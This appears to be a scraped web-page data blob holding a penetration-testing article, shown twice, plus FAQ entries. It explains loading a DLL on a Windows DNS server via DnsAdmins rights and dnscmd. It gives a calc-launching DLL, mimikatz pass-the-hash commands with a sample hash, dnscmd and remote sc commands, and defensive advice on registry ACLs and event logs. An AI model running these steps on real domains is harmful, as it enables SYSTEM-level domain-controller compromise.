DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4)\u003Cbr>{\u003Cbr>\tWinExec(\"calc.exe\", SW_SHOWNORMAL);\u003Cbr>\treturn 0;\u003Cbr>}\u003Cbr>\u003Cbr>BOOL APIENTRY DllMain(HMODULE hModule,\u003Cbr>\tDWORD  ul_reason_for_call,\u003Cbr>\tLPVOID lpReserved\u003Cbr>)\u003Cbr>{\u003Cbr>\tswitch (ul_reason_for_call)\u003Cbr>\t{\u003Cbr>\tcase DLL_PROCESS_ATTACH:\u003Cbr>\tcase DLL_THREAD_ATTACH:\u003Cbr>\tcase DLL_THREAD_DETACH:\u003Cbr>\tcase DLL_PROCESS_DETACH:\u003Cbr>\t\tbreak;\u003Cbr>\t}\u003Cbr>\treturn TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>.def file:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>EXPORTS\u003Cbr>DnsPluginInitialize\u003Cbr>DnsPluginCleanup\u003Cbr>DnsPluginQuery\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile to generate testdns.dll\u003C\u002Fp>\u003Ch3>4. Location to save Payload.dll\u003C\u002Fh3>\u003Cp>Must be remotely accessible by the DNS server\u003C\u002Fp>\u003Cp>The domain shared folder SYSVOL can be used here, which is accessible by all domain users by default.\u003C\u002Fp>\u003Cp>For more details, refer to the previous article: 'Domain Penetration - Restoring Passwords Stored in Group Policies Using SYSVOL'.\u003C\u002Fp>\u003Cp>My test domain environment is named test.com, and the domain shared folder path used is: \\\\test.com\\SYSVOL\\test.com\\scripts\\testdns.dll\u003C\u002Fp>\u003Ch3>5. Prepare dnsadmin\u003C\u002Fh3>\u003Cp>Typically, Windows hosts within the domain do not support the dnsadmin command.\u003C\u002Fp>\u003Cp>Default installed systems:\u003C\u002Fp>\u003Cul>\u003Cli>Windows Server 2003\u003C\u002Fli>\u003Cli>Windows Server 2008\u003C\u002Fli>\u003Cli>Windows Server 2003 R2\u003C\u002Fli>\u003Cli>Windows Server 2008 R2\u003C\u002Fli>\u003Cli>Windows Server 2012\u003C\u002Fli>\u003Cli>Windows Server 2003 with SP1\u003C\u002Fli>\u003Cli>...\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Reference materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Fwindows\u002Fit-pro\u002Fwindows-server-2012-R2-and-2012\u002Fcc772069(v=ws.11)\u003C\u002Fp>\u003Cp>The Win7 system requires the installation of Remote Server Administration Tools (RSAT) for use.\u003C\u002Fp>\u003Cp>This section describes the method to execute the dnscmd command on a system without Remote Server Administration Tools (RSAT) installed:\u003C\u002Fp>\u003Ch4>(1) Save dnscmd.exe under C:\\Windows\\System32\u003C\u002Fh4>\u003Cp>Available download address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch4>(2) Save dnscmd.exe.mui under C:\\Windows\\System32\\en-US\u003C\u002Fh4>\u003Cp>Available download address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>dnscmd.exe and dnscmd.exe.mui were obtained from my test system (Windows Server 2008 R2 x64)\u003C\u002Fp>\u003Cp>For detailed methods, refer to the previous article 'Domain Penetration – Retrieving DNS Records'\u003C\u002Fp>\u003Ch3>6. Start dnscmd\u003C\u002Fh3>\u003Cp>dnscmd does not support the function of inputting credentials for remote operations; here, the Over pass the hash feature of mimikatz is required\u003C\u002Fp>\u003Cp>The test environment has obtained key user information as follows:\u003C\u002Fp>\u003Cp>Username: Administrator\u003C\u002Fp>\u003Cp>Password: DomainAdmin456!\u003C\u002Fp>\u003Cp>Hash: A55E0720F0041193632A58E007624B40\u003C\u002Fp>\u003Cp>Execute in command line:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>mimikatz.exe privilege::debug \"sekurlsa::pth \u002Fuser:Administrator \u002Fdomain:test.com \u002Fntlm:A55E0720F0041193632A58E007624B40\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>This will launch a cmd.exe window, execute the dnscmd command within it\u003C\u002Fp>\u003Cp>Automated input can also be implemented:\u003C\u002Fp>\u003Cp>Execute in command line:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>mimikatz.exe privilege::debug \"sekurlsa::pth \u002Fuser:Administrator \u002Fdomain:test.com \u002Fntlm:A55E0720F0041193632A58E007624B40 \u002Frun:\\\"cmd.exe \u002Fc c:\\test\\1.bat\\\"\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Save dnscmd commands in c:\\test\\1.bat\u003C\u002Fp>\u003Ch3>7. Using the dnscmd command\u003C\u002Fh3>\u003Cp>DNS server IP: 192.168.10.1\u003C\u002Fp>\u003Cp>Command line execution:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>dnscmd 192.168.10.1 \u002Fconfig \u002Fserverlevelplugindll \\\\test.com\\SYSVOL\\test.com\\scripts\\testdns.dll\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For the DNS server, this will create a new registry entry\u003C\u002Fp>\u003Cp>Location: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\\u003C\u002Fp>\u003Cul>\u003Cli>ServerLevelPluginDll\u003C\u002Fli>\u003Cli>REG_SZ\u003C\u002Fli>\u003Cli>\\\\test.com\\SYSVOL\\test.com\\scripts\\testdns.dll\u003C\u002Fli>\u003C\u002Ful>\u003Ch3>8. The DLL will be loaded after restarting the DNS service\u003C\u002Fh3>\u003Cp>Wait for the DNS server to restart\u003C\u002Fp>\u003Cp>Or restart the DNS server remotely:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>sc \\\\192.168.10.1 stop dns\u003Cbr>sc \\\\192.168.10.1 start dns\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The background process of the DNS server is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019774258_0_5faafe93a4.jpeg\">\u003C\u002Fp>\u003Cp>dns.exe will call testdns.dll multiple times with System privileges\u003C\u002Fp>\u003Ch3>9. Practical Exploitation\u003C\u002Fh3>\u003Cp>In real environments, the DNS server and domain controller are often the same host\u003C\u002Fp>\u003Ch2>0x03 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Control Permissions\u003C\u002Fh3>\u003Cp>Prevent critical user credentials from being obtained by attackers\u003C\u002Fp>\u003Cp>PowerView can be used here to check which hosts critical users have logged into\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\PowerView.ps1\u003Cbr>Invoke-UserHunter -UserName AdministratorUser\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Monitor and Configure Registry\u003C\u002Fh3>\u003Cp>Location: KEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\\u003C\u002Fp>\u003Cp>When using dnscmd to remotely load DLLs on DNS servers, registry modifications are made with System privileges. Modifying the ACL (Access Control List) of registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\ and removing the Set Value permission for System users can prevent exploitation of this method\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019786375_1_27143f0f19.jpeg\">\u003C\u002Fp>\u003Cp>However, this may affect other normal functions. Other key-value information under this registry entry is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\u003Cbr>    GlobalQueryBlockList    REG_MULTI_SZ    wpad\\0isatap\u003Cbr>    EnableGlobalQueryBlockList    REG_DWORD    0x1\u003Cbr>    PreviousLocalHostname    REG_SZ    WIN-F08C969D7FM.test.com\u003Cbr>    BootMethod    REG_DWORD    0x3\u003Cbr>    AdminConfigured    REG_DWORD    0x1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>3. View logs\u003C\u002Fh3>\u003Ch4>(1) Record DNS service startup and shutdown\u003C\u002Fh4>\u003Cp>Location: Application and Services Logs-&gt;DNS Server\u003C\u002Fp>\u003Cp>Command line view:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wevtutil qe \"dns server\" \u002Frd:true \u002Ff:text\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>ID 2 indicates DNS service startup, ID 4 indicates DNS service shutdown\u003C\u002Fp>\u003Ch4>(2) Record DLL addition operations\u003C\u002Fh4>\u003Cp>Requires enhanced DNS logging and diagnostic features, supported by default in Server 2016, Server 2012 requires patch 2956577 installation\u003C\u002Fp>\u003Cp>Reference documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Fwindows\u002Fit-pro\u002Fwindows-server-2012-R2-and-2012\u002Fdn800669(v=ws.11)\u003C\u002Fp>\u003Cp>Patch notes:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fsupport.microsoft.com\u002Fen-us\u002Fhelp\u002F2956577\u002Fupdate-adds-query-logging-and-change-auditing-to-windows-dns-servers\u003C\u002Fp>\u003Cp>Patch download:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.catalog.update.microsoft.com\u002FSearch.aspx?q=2956577\u003C\u002Fp>\u003Cp>Adding a DLL operation generates a log with ID 541.\u003C\u002Fp>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method of remotely loading DLLs on DNS servers using dnscmd, combining exploitation ideas to provide defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>A method disclosed by Shay Ber, which allows remote DLL loading on a DNS server using DNSAdmin privileges in a domain environment. This is not a vulnerability but can be used as a domain penetration technique. This article will organize this exploitation technique based on personal experience, add personal insights, and provide defense recommendations in line with the exploitation approach.\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmedium.com\u002F@esnesenon\u002Ffeature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Detailed exploitation method\u003C\u002Fli>\u003Cli>Defense strategies\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Detailed Exploitation Method\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch4>Prerequisites:\u003C\u002Fh4>\u003Cp>Obtained credentials or hashes of a user in the DnsAdmins, Domain Admins, or Enterprise Admins group within the domain\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Under default configuration, not only users within the DnsAdmins group, but also users within the Domain Admins or Enterprise Admins groups can\u003C\u002Fp>\u003Ch3>1. View users in key groups\u003C\u002Fh3>\u003Cp>View all groups:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View users in the DnsAdmins group:\u003C\u002Fp>\u003Cp>Cannot use the net group command to view; you can use PowerView to view\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\PowerView.ps1\u003Cbr>Get-NetGroupMember -GroupName \"DNSAdmins\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View users in the Domain Admins group:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \"Domain Admins\" \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>View users in the Enterprise Admins group:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \"Enterprise Admins\" \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Obtain passwords or hashes of key users\u003C\u002Fh3>\u003Cp>Need to obtain the password or hash of any user within the DnsAdmins, Domain Admins, or Enterprise Admins groups\u003C\u002Fp>\u003Ch3>3. Prepare Payload.dll\u003C\u002Fh3>\u003Cp>Three export functions need to be defined:\u003C\u002Fp>\u003Cul>\u003Cli>DnsPluginInitialize\u003C\u002Fli>\u003Cli>DnsPluginCleanup\u003C\u002Fli>\u003Cli>DnsPluginQuery\u003C\u002Fli>\u003C\u002Ful>\u003Cp>For defining export functions, you can refer to the previously open-source project:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Here, the export functions are declared using a .def file. The test code is as follows:\u003C\u002Fp>\u003Cp>dllmain.cpp:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>DWORD WINAPI DnsPluginInitialize(PVOID a1, PVOID a2)\u003Cbr>{\u003Cbr>\treturn 0;\u003Cbr>}\u003Cbr>\u003Cbr>DWORD WINAPI DnsPluginCleanup()\u003Cbr>{\u003Cbr>\treturn 0;\u003Cbr>}\u003Cbr>\u003Cbr>DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4)\u003Cbr>{\u003Cbr>\tWinExec(\"calc.exe\", SW_SHOWNORMAL);\u003Cbr>\treturn 0;\u003Cbr>}\u003Cbr>\u003Cbr>BOOL APIENTRY DllMain(HMODULE hModule,\u003Cbr>\tDWORD  ul_reason_for_call,\u003Cbr>\tLPVOID lpReserved\u003Cbr>)\u003Cbr>{\u003Cbr>\tswitch (ul_reason_for_call)\u003Cbr>\t{\u003Cbr>\tcase DLL_PROCESS_ATTACH:\u003Cbr>\tcase DLL_THREAD_ATTACH:\u003Cbr>\tcase DLL_THREAD_DETACH:\u003Cbr>\tcase DLL_PROCESS_DETACH:\u003Cbr>\t\tbreak;\u003Cbr>\t}\u003Cbr>\treturn TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>.def file:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>EXPORTS\u003Cbr>DnsPluginInitialize\u003Cbr>DnsPluginCleanup\u003Cbr>DnsPluginQuery\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile to generate testdns.dll\u003C\u002Fp>\u003Ch3>4. Location to save Payload.dll\u003C\u002Fh3>\u003Cp>Must be remotely accessible by the DNS server\u003C\u002Fp>\u003Cp>The domain shared folder SYSVOL can be used here, which is accessible by all domain users by default.\u003C\u002Fp>\u003Cp>For more details, refer to the previous article: 'Domain Penetration - Restoring Passwords Stored in Group Policies Using SYSVOL'.\u003C\u002Fp>\u003Cp>My test domain environment is named test.com, and the domain shared folder path used is: \\\\test.com\\SYSVOL\\test.com\\scripts\\testdns.dll\u003C\u002Fp>\u003Ch3>5. Prepare dnsadmin\u003C\u002Fh3>\u003Cp>Typically, Windows hosts within the domain do not support the dnsadmin command.\u003C\u002Fp>\u003Cp>Default installed systems:\u003C\u002Fp>\u003Cul>\u003Cli>Windows Server 2003\u003C\u002Fli>\u003Cli>Windows Server 2008\u003C\u002Fli>\u003Cli>Windows Server 2003 R2\u003C\u002Fli>\u003Cli>Windows Server 2008 R2\u003C\u002Fli>\u003Cli>Windows Server 2012\u003C\u002Fli>\u003Cli>Windows Server 2003 with SP1\u003C\u002Fli>\u003Cli>...\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Reference materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Fwindows\u002Fit-pro\u002Fwindows-server-2012-R2-and-2012\u002Fcc772069(v=ws.11)\u003C\u002Fp>\u003Cp>The Win7 system requires the installation of Remote Server Administration Tools (RSAT) for use.\u003C\u002Fp>\u003Cp>This section describes the method to execute the dnscmd command on a system without Remote Server Administration Tools (RSAT) installed:\u003C\u002Fp>\u003Ch4>(1) Save dnscmd.exe under C:\\Windows\\System32\u003C\u002Fh4>\u003Cp>Available download address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch4>(2) Save dnscmd.exe.mui under C:\\Windows\\System32\\en-US\u003C\u002Fh4>\u003Cp>Available download address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>dnscmd.exe and dnscmd.exe.mui were obtained from my test system (Windows Server 2008 R2 x64)\u003C\u002Fp>\u003Cp>For detailed methods, refer to the previous article 'Domain Penetration – Retrieving DNS Records'\u003C\u002Fp>\u003Ch3>6. Start dnscmd\u003C\u002Fh3>\u003Cp>dnscmd does not support the function of inputting credentials for remote operations; here, the Over pass the hash feature of mimikatz is required\u003C\u002Fp>\u003Cp>The test environment has obtained key user information as follows:\u003C\u002Fp>\u003Cp>Username: Administrator\u003C\u002Fp>\u003Cp>Password: DomainAdmin456!\u003C\u002Fp>\u003Cp>Hash: A55E0720F0041193632A58E007624B40\u003C\u002Fp>\u003Cp>Execute in command line:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>mimikatz.exe privilege::debug \"sekurlsa::pth \u002Fuser:Administrator \u002Fdomain:test.com \u002Fntlm:A55E0720F0041193632A58E007624B40\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>This will launch a cmd.exe window, execute the dnscmd command within it\u003C\u002Fp>\u003Cp>Automated input can also be implemented:\u003C\u002Fp>\u003Cp>Execute in command line:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>mimikatz.exe privilege::debug \"sekurlsa::pth \u002Fuser:Administrator \u002Fdomain:test.com \u002Fntlm:A55E0720F0041193632A58E007624B40 \u002Frun:\\\"cmd.exe \u002Fc c:\\test\\1.bat\\\"\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Save dnscmd commands in c:\\test\\1.bat\u003C\u002Fp>\u003Ch3>7. Using the dnscmd command\u003C\u002Fh3>\u003Cp>DNS server IP: 192.168.10.1\u003C\u002Fp>\u003Cp>Command line execution:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>dnscmd 192.168.10.1 \u002Fconfig \u002Fserverlevelplugindll \\\\test.com\\SYSVOL\\test.com\\scripts\\testdns.dll\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For the DNS server, this will create a new registry entry\u003C\u002Fp>\u003Cp>Location: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\\u003C\u002Fp>\u003Cul>\u003Cli>ServerLevelPluginDll\u003C\u002Fli>\u003Cli>REG_SZ\u003C\u002Fli>\u003Cli>\\\\test.com\\SYSVOL\\test.com\\scripts\\testdns.dll\u003C\u002Fli>\u003C\u002Ful>\u003Ch3>8. The DLL will be loaded after restarting the DNS service\u003C\u002Fh3>\u003Cp>Wait for the DNS server to restart\u003C\u002Fp>\u003Cp>Or restart the DNS server remotely:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>sc \\\\192.168.10.1 stop dns\u003Cbr>sc \\\\192.168.10.1 start dns\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The background process of the DNS server is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019774258_0_5faafe93a4-1.jpeg\">\u003C\u002Fp>\u003Cp>dns.exe will call testdns.dll multiple times with System privileges\u003C\u002Fp>\u003Ch3>9. Practical Exploitation\u003C\u002Fh3>\u003Cp>In real environments, the DNS server and domain controller are often the same host\u003C\u002Fp>\u003Ch2>0x03 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Control Permissions\u003C\u002Fh3>\u003Cp>Prevent critical user credentials from being obtained by attackers\u003C\u002Fp>\u003Cp>PowerView can be used here to check which hosts critical users have logged into\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\PowerView.ps1\u003Cbr>Invoke-UserHunter -UserName AdministratorUser\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Monitor and Configure Registry\u003C\u002Fh3>\u003Cp>Location: KEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\\u003C\u002Fp>\u003Cp>When using dnscmd to remotely load DLLs on DNS servers, registry modifications are made with System privileges. Modifying the ACL (Access Control List) of registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\ and removing the Set Value permission for System users can prevent exploitation of this method\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019786375_1_27143f0f19-1.jpeg\">\u003C\u002Fp>\u003Cp>However, this may affect other normal functions. Other key-value information under this registry entry is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\u003Cbr>    GlobalQueryBlockList    REG_MULTI_SZ    wpad\\0isatap\u003Cbr>    EnableGlobalQueryBlockList    REG_DWORD    0x1\u003Cbr>    PreviousLocalHostname    REG_SZ    WIN-F08C969D7FM.test.com\u003Cbr>    BootMethod    REG_DWORD    0x3\u003Cbr>    AdminConfigured    REG_DWORD    0x1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>3. View logs\u003C\u002Fh3>\u003Ch4>(1) Record DNS service startup and shutdown\u003C\u002Fh4>\u003Cp>Location: Application and Services Logs-&gt;DNS Server\u003C\u002Fp>\u003Cp>Command line view:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wevtutil qe \"dns server\" \u002Frd:true \u002Ff:text\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>ID 2 indicates DNS service startup, ID 4 indicates DNS service shutdown\u003C\u002Fp>\u003Ch4>(2) Record DLL addition operations\u003C\u002Fh4>\u003Cp>Requires enhanced DNS logging and diagnostic features, supported by default in Server 2016, Server 2012 requires patch 2956577 installation\u003C\u002Fp>\u003Cp>Reference documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Fwindows\u002Fit-pro\u002Fwindows-server-2012-R2-and-2012\u002Fdn800669(v=ws.11)\u003C\u002Fp>\u003Cp>Patch notes:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fsupport.microsoft.com\u002Fen-us\u002Fhelp\u002F2956577\u002Fupdate-adds-query-logging-and-change-auditing-to-windows-dns-servers\u003C\u002Fp>\u003Cp>Patch download:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.catalog.update.microsoft.com\u002FSearch.aspx?q=2956577\u003C\u002Fp>\u003Cp>Adding a DLL operation generates a log with ID 541.\u003C\u002Fp>\u003Ch2>0x04 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method of remotely loading DLLs on DNS servers using dnscmd, combining exploitation ideas to provide defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",{"id":650,"alt":651,"caption":652,"updatedAt":653,"createdAt":653,"url":654,"thumbnailURL":26,"filename":655,"mimeType":237,"filesize":656,"width":657,"height":658,"focalX":38,"focalY":38,"sizes":659},1762,"docx image 1770019774258 0 5faafe93a4","legacy:\u002Fuploads\u002Fdocx_image_1770019774258_0_5faafe93a4.jpeg","2026-07-24T15:37:08.370Z","\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019774258_0_5faafe93a4-1.jpeg","docx_image_1770019774258_0_5faafe93a4-1.jpeg",46224,845,214,{"thumbnail":660,"card":661,"og":662},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"title":664,"description":640,"keywords":665,"ogImage":26,"canonicalUrl":26,"noIndex":50},"Remote DLL Loading on DNS Server via dnscmd for Domain Penetration","domain penetration, DNS server, dnscmd, DLL loading, DnsAdmins, privilege escalation, Windows security, exploitation technique, defense strategies",[],{"docs":668,"hasNextPage":50},[669,676,683,690],{"id":670,"question":671,"answer":672,"answerHtml":672,"slug":673,"keywords":674,"article":273,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":675,"createdAt":675,"_status":61},58,"What defense strategies can prevent this remote DLL loading attack on DNS servers?","Control permissions to prevent credential theft and monitor registry changes at HKLM\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\. You can remove the Set Value permission for System users on that registry key, though it may affect normal functions. Enable enhanced DNS logging (e.g., event ID 541 for DLL additions) and audit DNS service start\u002Fstop (event IDs 2 and 4). For related credential protection, see [Penetration Technique - Using tscon to Achieve Unauthorized Remote Desktop Login](\u002Fnews\u002Fpenetration-technique-using-tscon-to-achieve-unauthorized-remote-desktop-login).","what-defense-strategies-can-prevent-this-remote-dll-loading-attack-on-dns-server-1777485393699","defense, registry ACL, DNS logging, event ID 541, credential protection, ServerLevelPluginDll","2026-07-23T16:03:16.345Z",{"id":677,"question":678,"answer":679,"answerHtml":679,"slug":680,"keywords":681,"article":273,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":682,"createdAt":682,"_status":61},57,"How do you execute the exploit using dnscmd and mimikatz?","First, use mimikatz with Over Pass the Hash (sekurlsa::pth) to obtain a cmd process with the privileges of a DnsAdmins user. Then run: `dnscmd \u003CDNS_Server_IP> \u002Fconfig \u002Fserverlevelplugindll \\\\share\\path\\malicious.dll`. This sets a registry key at HKLM\\SYSTEM\\CurrentControlSet\\services\\DNS\\Parameters\\ServerLevelPluginDll. Restart the DNS service (e.g., `sc \\\\server stop dns` and `sc \\\\server start dns`) to load the DLL with SYSTEM privileges. For obtaining DNS records beforehand, see [Domain Penetration - Obtaining DNS Records](\u002Fnews\u002Fdomain-penetration-obtaining-dns-records).","how-do-you-execute-the-exploit-using-dnscmd-and-mimikatz-1777485393616","dnscmd, mimikatz, Over Pass the Hash, ServerLevelPluginDll, DLL loading, DNS service restart","2026-07-23T16:03:15.988Z",{"id":684,"question":685,"answer":686,"answerHtml":686,"slug":687,"keywords":688,"article":273,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":689,"createdAt":689,"_status":61},56,"How do you prepare a malicious DLL that will be loaded by the DNS service?","The DLL must export three functions: DnsPluginInitialize, DnsPluginCleanup, and DnsPluginQuery. For example, DnsPluginQuery can execute code like WinExec(\"calc.exe\", SW_SHOWNORMAL). You compile it with a .def file that lists these exports, then place the DLL on a network share accessible by the DNS server, such as \\\\domain\\SYSVOL\\scripts.","how-do-you-prepare-a-malicious-dll-that-will-be-loaded-by-the-dns-service-1777485393558","DLL export functions, DnsPluginInitialize, DnsPluginQuery, payload, 